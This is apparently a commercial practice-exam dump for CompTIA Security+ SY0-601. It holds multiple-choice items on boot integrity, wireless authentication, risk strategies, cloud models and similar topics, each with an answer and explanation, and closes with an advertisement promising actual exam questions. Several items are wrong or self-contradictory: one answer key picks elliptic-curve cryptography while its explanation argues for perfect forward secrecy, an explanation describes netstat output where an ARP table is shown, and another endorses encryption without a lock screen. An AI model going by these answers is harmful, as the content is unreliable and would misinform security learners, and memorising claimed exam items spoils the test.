A retail store has a business requirement to deploy a kiosk computer In an open area The kiosk computer's operating system has been hardened and tested. A security engineer IS concerned that someone could use removable media to install a rootkit Mich of the should the security engineer configure to BEST protect the kiosk computer?

- A. Measured boot
- B. Boot attestation
- C. UEFI
- D. EDR

Answer: B

Explanation:

Boot attestation is a security feature that enables the computer to verify the integrity of its operating system before it boots. It does this by performing a hash of the operating system and comparing it to the expected hash of the operating system. If the hashes do not match, the computer will not boot and the rootkit will not be allowed to run. This process is also known as measured boot or secure boot.

According to the CompTIA Security+ Study Guide, "Secure Boot is a feature of Unified Extensible Firmware Interface (UEFI) that ensures that code that is executed during the boot process has been authenticated by a cryptographic signature. Secure Boot prevents malicious code from running at boot time, thus providing assurance that the system is executing only code that is legitimate. This provides a measure of protection against rootkits and other malicious code that is designed to run at boot time."

NEW QUESTION 211

- (Exam Topic 2)

A security analyst is assisting a team of developers with best practices for coding. The security analyst would like to defend against the use of SQL injection attacks. Which of the following should the security analyst recommend first?

- A. Tokenization
- B. Input validation
- C. Code signing
- D. Secure cookies

Answer: B

Explanation:

Input validation is a technique that involves checking the user input for any malicious or unexpected characters or commands that could be used to perform SQL injection attacks. Input validation can be done by using allow-lists or deny-lists to filter out the input based on predefined criteria. Input validation can prevent SQL injection attacks by ensuring that only valid and expected input is passed to the database queries.

NEW QUESTION 215

- (Exam Topic 2)

A security analyst is using OSINT to gather information to verify whether company data is available publicly. Which of the following is the BEST application for the analyst to use?

- A. theHarvester
- B. Cuckoo
- B. Nmap
- C. Nessus

Answer: A

Explanation:

TheHarvester is a reconnaissance tool that is used to gather information about a target organization, such as email addresses, subdomains, and IP addresses. It can also be used to gather information about a target individual, such as email addresses, phone numbers, and social media profiles. TheHarvester is specifically designed for OSINT (Open-Source Intelligence) and it can be used to discover publicly available information about a target organization or individual.

NEW QUESTION 218

- (Exam Topic 2)

Which of the following describes where an attacker can purchase DDoS or ransomware services?

- A. Threat intelligence
- B. Open-source intelligence
- C. Vulnerability database
- D. Dark web

Answer: D

Explanation:

The best option to describe where an attacker can purchase DDoS or ransomware services is the dark web. The dark web is an anonymous, untraceable part of the internet where a variety of illicit activities take place, including the purchase of DDoS and ransomware services. According to the CompTIA Security+ SY0-601 Official Text Book, attackers can purchase these services anonymously and without the risk of detection or attribution. Additionally, the text book recommends that organizations monitor the dark web to detect any possible threats or malicious activity.

NEW QUESTION 219

- (Exam Topic 2)

A security team is conducting a security review of a hosted data provider. The management team has asked the hosted data provider to share proof that customer data is being appropriately protected.

Which of the following would provide the best proof that customer data is being protected?

- A. SOC2
- B. CSA
- C. CSF
- D. ISO 31000

Answer: A

Explanation:

SOC2 is a type of audit report that provides assurance on the security, availability, processing integrity, confidentiality, and privacy of a service organization's systems. It is based on the Trust Services Criteria developed by the American Institute of Certified Public Accountants (AICPA). A SOC2 report can provide proof that customer data is being appropriately protected by the hosted data provider

<https://www.csagroup.org/store/product/50072454/> 3: <https://www.csagroup.org/store/product/50072454os/> 1: <https://cloudsecurityalliance.org/blog/2021/08/20/star-testimonial-csa-star-soc2-from-readiness-to-attestation/>

NEW QUESTION 220

- (Exam Topic 2)

A company is enhancing the security of the wireless network and needs to ensure only employees with a valid certificate can authenticate to the network. Which of the following should the company implement?

- A. PEAP
- B. PSK
- C. WPA3
- D. WPS

Answer: A

Explanation:

PEAP stands for Protected Extensible Authentication Protocol, which is a protocol that can provide secure authentication for wireless networks. PEAP can use certificates to authenticate the server and the client, or only the server. PEAP can also use other methods, such as passwords or tokens, to authenticate the client. PEAP can ensure only employees with a valid certificate can authenticate to the network.

NEW QUESTION 224

- (Exam Topic 2)

A security practitioner is performing due diligence on a vendor that is being considered for cloud services.

Which of the following should the practitioner consult for the best insight into the current security posture of the vendor?

- A. PCI DSS standards
- B. SLA contract
- C. CSF framework
- D. SOC 2 report

Answer: D

Explanation:

A SOC 2 report is a document that provides an independent assessment of a service organization's controls related to the Trust Services Criteria of Security, Availability, Processing Integrity, Confidentiality, or Privacy. A SOC 2 report can help a security practitioner evaluate the current security posture of a vendor that provides cloud services¹.

NEW QUESTION 227

- (Exam Topic 2)

A user's laptop constantly disconnects from the Wi-Fi network. Once the laptop reconnects, the user can reach the internet but cannot access shared folders or other network resources. Which of the following types of attacks is the user MOST likely experiencing?

- A. Bluejacking
- B. Jamming
- C. Rogue access point
- D. Evil twin

Answer: D

Explanation:

An evil twin attack is when an attacker sets up a fake Wi-Fi network that looks like a legitimate network, but is designed to capture user data that is sent over the network. In this case, the user's laptop is constantly disconnecting and reconnecting to the Wi-Fi network, indicating that it is connecting to the fake network instead of the legitimate one. Once the user connects to the fake network, they are unable to access shared folders or other network resources, as those are only available on the legitimate network.

NEW QUESTION 231

- (Exam Topic 2)

A police department is using the cloud to share information city officials. Which of the cloud models describes this scenario?

- A. Hybrid
- B. private
- C. public
- D. Community

Answer: D

Explanation:

A community cloud model describes a scenario where a cloud service is shared among multiple organizations that have common goals, interests, or requirements. A community cloud can be hosted by one of the organizations, a third-party provider, or a combination of both. A community cloud can offer benefits such as cost savings, security, compliance, and collaboration. A police department using the cloud to share information with city officials is an example of a community cloud model.

References: <https://www.comptia.org/certifications/security#examdetails> <https://www.comptia.org/content/guides/comptia-security-sy0-601-exam-objectives>
<https://www.ibm.com/cloud/learn/community-cloud>

NEW QUESTION 232

- (Exam Topic 2)

An organization decided not to put controls in place because of the high cost of implementing the controls compared to the cost of a potential fine. Which of the following risk management strategies is the organization following?

- A. Transference
- B. Avoidance
- C. Mitigation

D. Acceptance

Answer: D

Explanation:

Acceptance is a risk management strategy that involves acknowledging the existence and potential impact of a risk, but deciding not to take any action to reduce or eliminate it. This strategy is usually adopted when the cost of implementing controls outweighs the benefit of mitigating the risk, or when the risk is deemed acceptable or unavoidable. In this case, the organization decided not to put controls in place because of the high cost compared to the potential fine, which means they accepted the risk. References: <https://www.comptia.org/blog/what-is-risk-acceptance>

NEW QUESTION 236

- (Exam Topic 2)

Which of the following best describes the situation where a successfully onboarded employee who is using a fingerprint reader is denied access at the company's main gate?

- A. Crossover error rate
- B. False match rate
- C. False rejection
- D. False positive

Answer: C

Explanation:

False rejection Short explanation

A false rejection occurs when a biometric system fails to recognize an authorized user and denies access. This can happen due to poor quality of the biometric sample, environmental factors, or system errors. References: <https://www.comptia.org/blog/what-is-biometrics>

NEW QUESTION 239

- (Exam Topic 2)

The management team has requested that the security team implement 802.1X into the existing wireless network setup. The following requirements must be met:

- Minimal interruption to the end user
- Mutual certificate validation

Which of the following authentication protocols would meet these requirements?

- A. EAP-FAST
- B. PSK
- C. EAP-TTLS
- D. EAP-TLS

Answer: D

Explanation:

EAP-TLS (Extensible Authentication Protocol - Transport Layer Security) is an authentication protocol that uses certificates to provide mutual authentication between the client and the authentication server. It also allows for the encryption of user credentials, making EAP-TLS a secure and reliable authentication protocol. According to the CompTIA Security+ SY0-601 Official Text Book, EAP-TLS is well-suited for wireless networks due to its mutual authentication capabilities and its ability to securely store credentials. It is also the preferred authentication protocol for 802.1X wireless networks.

NEW QUESTION 243

- (Exam Topic 2)

A systems administrator needs to install a new wireless network for authenticated guest access. The wireless network should support 802.1X using the most secure encryption and protocol available.

Perform the following steps:

- * 1. Configure the RADIUS server.
- * 2. Configure the WiFi controller.
- * 3. Preconfigure the client for an incoming guest. The guest AD credentials are:

User: guest01 Password: guestpass



- A. Mastered
- B. Not Mastered

Answer: A

Explanation:

Wifi Controller
SSID: CORPGUEST
SHARED KEY: Secret
AAA server IP: 192.168.1.20
PSK: Blank
Authentication type: WPA2-EAP-PEAP-MSCHAPv2 Controller IP: 192.168.1.10
Radius Server Shared Key: Secret
Client IP: 192.168.1.10
Authentication Type: Active Directory Server IP: 192.168.1.20
Wireless Client SSID: CORPGUEST
Username: guest01 Userpassword: guestpass PSK: Blank
Authentication type: WPA2-Enterprise

NEW QUESTION 245

- (Exam Topic 1)

Which of the following is required in order for an IDS and a WAF to be effective on HTTPS traffic?

- A. Hashing
- B. DNS sinkhole
- C. TLS inspection
- D. Data masking

Answer: C

Explanation:

an IDS (Intrusion Detection System) and a WAF (Web Application Firewall) are both used to monitor and protect web applications from common attacks such as cross-site scripting and SQL injection¹². However, these attacks can also be hidden in encrypted HTTPS traffic, which uses the TLS (Transport Layer Security) protocol to provide cryptography and authentication between two communicating applications³⁴. Therefore, in order for an IDS and a WAF to be effective on HTTPS traffic, they need to be able to decrypt and inspect the data that flows in the TLS tunnel. This is achieved by using a feature called TLS inspectio³ⁿ⁴⁵, which creates two dedicated TLS connections: one with the web server and another with the client. The firewall then uses a customer-provided CA (Certificate Authority) certificate to generate an on-the-fly certificate that replaces the web server certificate and shares it with the client. This way, the firewall can see the content of the HTTPS traffic and apply the IDS and WAF rules accordingly³⁴.

NEW QUESTION 246

- (Exam Topic 1)

A company has discovered unauthorized devices are using its WiFi network, and it wants to harden the access point to improve security. Which of the following configuration should an analysis enable To improve security? (Select TWO.)

- A. RADIUS
- B. PEAP
- C. WPS
- D. WEP-EKIP
- E. SSL
- F. WPA2-PSK

Answer: AF

Explanation:

To improve the security of the WiFi network and prevent unauthorized devices from accessing the network, the configuration options of RADIUS and WPA2-PSK should be enabled. RADIUS (Remote Authentication Dial-In User Service) is an authentication protocol that can be used to control access to the WiFi network. It can provide stronger authentication and authorization than WEP and WPA. WPA2-PSK (WiFi Protected Access 2 with Pre-Shared Key) is a security protocol that uses stronger encryption than WEP and WPA. It requires a pre-shared key (PSK) to be entered on each device that wants to access the network. This helps prevent unauthorized devices from accessing the network.

NEW QUESTION 248

- (Exam Topic 1)

As part of a company's ongoing SOC maturation process, the company wants to implement a method to share cyberthreat intelligence data with outside security partners. Which of the following will the company MOST likely implement?

- A. TAXII
- B. TLP
- C. TTP
- D. STIX

Answer: A

Explanation:

Trusted Automated Exchange of Intelligence Information (TAXII) is a standard protocol that enables the sharing of cyber threat intelligence between organizations. It allows organizations to automate the exchange of information in a secure and timely manner. References: CompTIA Security+ Certification Exam Objectives 3.6 Given a scenario, implement secure network architecture concepts. Study Guide: Chapter 4, page 167.

NEW QUESTION 252

- (Exam Topic 1)

An attacker replaces a digitally signed document with another version that goes unnoticed. Upon reviewing the document's contents, the author notices some additional verbiage that was not originally in the document but cannot validate an integrity issue. Which of the following attacks was used?

- A. Cryptomalware
- B. Hash substitution
- C. Collision
- D. Phishing

Answer: B

Explanation:

This type of attack occurs when an attacker replaces a digitally signed document with another version that has a different hash value. The author would be able to notice the additional verbiage, however, since the hash value would have changed, they would not be able to validate an integrity issue.

NEW QUESTION 253

- (Exam Topic 1)

A new security engineer has started hardening systems. One of the hardening techniques the engineer is using involves disabling remote logins to the NAS. Users are now reporting the inability to use SCP to transfer files to the NAS, even though the data is still viewable from the user's PCs. Which of the following is the most likely cause of this issue?

- A. TFTP was disabled on the local hosts
- B. SSH was turned off instead of modifying the configuration file
- C. Remote login was disabled in the networkd.config instead of using the sshd.conf
- D. Network services are no longer running on the NAS

Answer: B

Explanation:

SSH stands for Secure Shell Protocol, which is a cryptographic network protocol that allows secure remote login and command execution on a network device¹. SSH can encrypt both the authentication information and the data being exchanged between the client and the server². SSH can be used to access and manage a NAS device remotely³.

NEW QUESTION 255

- (Exam Topic 1)

If a current private key is compromised, which of the following would ensure it cannot be used to decrypt all historical data?

- A. Perfect forward secrecy
- B. Elliptic-curve cryptography
- C. Key stretching
- D. Homomorphic encryption

Answer: B

Explanation:

Perfect forward secrecy would ensure that it cannot be used to decrypt all historical data. Perfect forward secrecy (PFS) is a security protocol that generates a unique session key for each session between two parties. This ensures that even if one session key is compromised, it cannot be used to decrypt other sessions.

NEW QUESTION 260

- (Exam Topic 1)

Which of the following controls would be the MOST cost-effective and time-efficient to deter intrusions at the perimeter of a restricted, remote military training area? (Select TWO).

- A. Barricades
- B. Thermal sensors
- C. Drones
- D. Signage
- E. Motion sensors
- F. Guards
- G. Bollards

Answer: AD

Explanation:

Barricades and signage are the most cost-effective and time-efficient controls to deter intrusions at the perimeter of a restricted, remote military training area.

References:

➤ [CompTIA Security+ Study Guide Exam SY0-601, Chapter 7](#)

NEW QUESTION 261

- (Exam Topic 1)

A Chief Information Officer is concerned about employees using company-issued laptops to steal data when accessing network shares. Which of the following should the company implement?

- A. DLP
- B. CASB
- C. HIDS
- D. EDR
- E. UEFI

Answer: A

Explanation:

The company should implement Data Loss Prevention (DLP) to prevent employees from stealing data. References: CompTIA Security+ Study Guide: Exam SY0-601, Chapter 8

NEW QUESTION 266

- (Exam Topic 1)

A company recently decided to allow its employees to use their personally owned devices for tasks like checking email and messaging via mobile applications. The company would like to use MDM, but employees are concerned about the loss of personal data. Which of the following should the IT department implement to BEST protect the company against company data loss while still addressing the employees' concerns?

- A. Enable the remote-wiping option in the MDM software in case the phone is stolen.
- B. Configure the MDM software to enforce the use of PINs to access the phone.
- C. Configure MDM for FDE without enabling the lock screen.
- D. Perform a factory reset on the phone before installing the company's applications.

Answer: C

Explanation:

MDM software is a type of remote asset-management software that runs from a central server. It is used by businesses to optimize the functionality and security of their mobile devices, including smartphones and tablets. It can monitor and regulate both corporate-owned and personally owned devices to the organization's policies.

FDE stands for full disk encryption, which is a method of encrypting all data on a device's storage. FDE can protect data from unauthorized access in case the device is lost or stolen.

If a company decides to allow its employees to use their personally owned devices for work tasks, it should configure MDM software to enforce FDE on those devices. This way, the company can protect its data from being exposed if the device falls into the wrong hands.

However, employees may be concerned about the loss of personal data if the company also enables the remote-wiping option in the MDM software. Remote wiping is a feature that allows the company to erase all data on a device remotely in case of theft or loss. Remote wiping can also affect personal data on the device, which may not be acceptable to employees.

Therefore, a possible compromise is to configure MDM for FDE without enabling the lock screen. This means that the device will be encrypted, but it will not require a password or PIN to unlock it. This way, employees can access their personal data easily, while the company can still protect its data with encryption. The other options are not correct because:

- A. Enable the remote-wiping option in the MDM software in case the phone is stolen. This option may address the company's concern about data loss, but it may not address the employees' concern about personal data loss. Remote wiping can erase both work and personal data on the device, which may not be desirable for employees.
- B. Configure the MDM software to enforce the use of PINs to access the phone. This option may enhance the security of the device, but it may not address the company's concern about data loss. PINs can be guessed or bypassed by attackers, and they do not protect data if the device is physically accessed.
- D. Perform a factory reset on the phone before installing the company's applications. This option may address the company's concern about data loss, but it may not address the employees' concern about personal data loss. A factory reset will erase all data on the device, including personal data, which may not be acceptable to employees.

According to CompTIA Security+ SY0-601 Exam Objectives 2.4 Given a scenario, implement secure systems design:

"MDM software is a type of remote asset-management software that runs from a central server¹. It is used by businesses to optimize the functionality and security of their mobile devices, including smartphones and tablets²."

"FDE stands for full disk encryption, which is a method of encrypting all data on a device's storage³." References:

<https://www.comptia.org/certifications/security#examdetails>

<https://www.comptia.org/content/guides/comptia-security-sy0-601-exam-objectives>

<https://www.makeuseof.com/what-is-mobile-device-management-mdm-software/>

NEW QUESTION 271

- (Exam Topic 1)

A network engineer and a security engineer are discussing ways to monitor network operations. Which of the following is the BEST method?

- A. Disable Telnet and force SSH.
- B. Establish a continuous ping.
- C. Utilize an agentless monitor
- D. Enable SNMPv3 With passwords.

Answer: C

Explanation:

An agentless monitor is the best method to monitor network operations because it does not require any software or agents to be installed on the devices being monitored, making it less intrusive and less likely to

disrupt network operations. This method can monitor various aspects of network operations, such as traffic, performance, and security.

CompTIA Security+ Study Guide, Sixth Edition (SY0-601), Chapter 4: Attacks, Threats, and Vulnerabilities, Monitoring and Detection Techniques, pg. 167-170.

NEW QUESTION 272

- (Exam Topic 1)

Which of the following involves the inclusion of code in the main codebase as soon as it is written?

- A. Continuous monitoring
- B. Continuous deployment
- C. Continuous Validation
- D. Continuous integration

Answer: D

Explanation:

Detailed explanation

Continuous Integration (CI) is a practice where developers integrate code into a shared repository frequently, preferably several times a day. Each integration is verified by an automated build and automated tests. CI allows for the detection of errors early in the development cycle, thereby reducing overall development costs.

NEW QUESTION 275

- (Exam Topic 1)

A security administrator is working on a solution to protect passwords stored in a database against rainbow table attacks. Which of the following should the administrator consider?

- A. Hashing
- B. Salting
- C. Lightweight cryptography
- D. Steganography

Answer: B

Explanation:

Salting is a technique that adds random data to a password before hashing it. This makes the hash output more unique and unpredictable, and prevents attackers from using precomputed tables (such as rainbow tables) to crack the password hash. Salting also reduces the risk of collisions, which occur when different passwords produce the same hash.

References: <https://www.comptia.org/certifications/security#examdetails> <https://www.comptia.org/content/guides/comptia-security-sy0-601-exam-objectives>
<https://auth0.com/blog/adding-salt-to-hashing-a-better-way-to-store-passwords/>

NEW QUESTION 277

- (Exam Topic 1)

A company is required to continue using legacy software to support a critical service. Which of the following BEST explains a risk of this practice?

- A. Default system configuration
- B. Unsecure protocols
- C. Lack of vendor support
- D. Weak encryption

Answer: C

Explanation:

Using legacy software to support a critical service poses a risk due to lack of vendor support. Legacy software is often outdated and unsupported, which means that security patches and upgrades are no longer available. This can leave the system vulnerable to exploitation by attackers who may exploit known vulnerabilities in the software to gain unauthorized access to the system.

Reference: CompTIA Security+ Study Guide, Exam SY0-601, Chapter 1: Attacks, Threats, and Vulnerabilities

NEW QUESTION 282

- (Exam Topic 1)

The Chief Executive Officer announced a new partnership with a strategic vendor and asked the Chief Information Security Officer to federate user digital identities using SAML-based protocols. Which of the following will this enable?

- A. SSO
- B. MFA
- C. PKI
- D. OLP

Answer: A

Explanation:

Federating user digital identities using SAML-based protocols enables Single Sign-On (SSO), which allows users to log in once and access multiple applications without having to enter their credentials for each one. References:

- > CompTIA Security+ Certification Exam Objectives 1.3: Explain authentication and access controls.
- > CompTIA Security+ Study Guide, Sixth Edition, pages 41-42

NEW QUESTION 285

- (Exam Topic 1)

Remote workers in an organization use company-provided laptops with locally installed applications and locally stored data. Users can store data on a remote server using an encrypted connection. The organization discovered data stored on a laptop had been made available to the public. Which of the following security solutions would mitigate the risk of future data disclosures?

- A. FDE
- B. TPM
- C. HIDS
- D. VPN

Answer: A

Explanation:

Based on these definitions, the best security solution to mitigate the risk of future data disclosures from a laptop would be FDE. FDE would prevent unauthorized access to the data stored on the laptop even if it is stolen or lost. FDE can also use TPM to store the encryption key and ensure that only trusted software can decrypt the data. HIDS and VPN are not directly related to data encryption, but they can provide additional security benefits by detecting intrusions and protecting network traffic respectively.

NEW QUESTION 290

- (Exam Topic 1)

A security analyst has received several reports of an issue on an internal web application. Users state they are having to provide their credentials twice to log in. The analyst checks with the application team and notes this is not an expected behavior. After looking at several logs, the analyst decides to run some commands on the gateway and obtains the following output:

Internet address	Physical address	Type
192.168.1.1	ff-ec-ab-00-aa-78	dynamic
192.168.1.5	ff-00-5e-48-00-fb	dynamic
192.168.1.8	00-0c-29-1a-e7-fa	dynamic
192.168.1.10	fc-41-5e-48-00-ff	dynamic
224.215.54.47	fc-00-5e-48-00-fb	static

Which of the following BEST describes the attack the company is experiencing?

- A. MAC flooding
- B. URL redirection
- C. ARP poisoning
- D. DNS hijacking

Answer: C

Explanation:

The output of the "netstat -ano" command shows that there are two connections to the same IP address and port number. This indicates that there are two active sessions between the client and server.

The issue of users having to provide their credentials twice to log in is known as a double login prompt issue. This issue can occur due to various reasons such as incorrect configuration of authentication settings, incorrect configuration of web server settings, or issues with the client's browser.

Based on the output of the "netstat -ano" command, it is difficult to determine the exact cause of the issue. However, it is possible that an attacker is intercepting traffic between the client and server and stealing user credentials. This type of attack is known as C. ARP poisoning.

ARP poisoning is a type of attack where an attacker sends fake ARP messages to associate their MAC address with the IP address of another device on the network. This allows them to intercept traffic between the two devices and steal sensitive information such as user credentials.

NEW QUESTION 294

- (Exam Topic 1)

Which of the following would produce the closest experience of responding to an actual incident response scenario?

- A. Lessons learned
- B. Simulation
- C. Walk-through
- D. Tabletop

Answer: B

Explanation:

A simulation exercise is designed to create an experience that is as close as possible to a real-world incident response scenario. It involves simulating an attack or other security incident and then having security personnel respond to the situation as they would in a real incident. References: CompTIA Security+ SY0-601 Exam Objectives: 1.1 Explain the importance of implementing security concepts, methodologies, and practices.

NEW QUESTION 297

- (Exam Topic 1)

Which of the following provides a catalog of security and privacy controls related to the United States federal information systems?

- A. GDPR
- B. PCI DSS
- C. ISO 27000
- D. NIST 800-53

Answer: D

Explanation:

NIST 800-53 provides a catalog of security and privacy controls related to the United States federal information systems. References: CompTIA Security+ Study Guide, Exam SY0-601, 4th Edition, Chapter 3: Architecture and Design, pp. 123-125

NEW QUESTION 299

.....

Thank You for Trying Our Product

We offer two products:

1st - We have Practice Tests Software with Actual Exam Questions

2nd - Questions and Answers in PDF Format

SY0-601 Practice Exam Features:

- * SY0-601 Questions and Answers Updated Frequently
- * SY0-601 Practice Questions Verified by Expert Senior Certified Staff
- * SY0-601 Most Realistic Questions that Guarantee you a Pass on Your FirstTry
- * SY0-601 Practice Test Questions in Multiple Choice Formats and Updatesfor 1 Year

100% Actual & Verified — Instant Download, Please Click
[Order The SY0-601 Practice Test Here](#)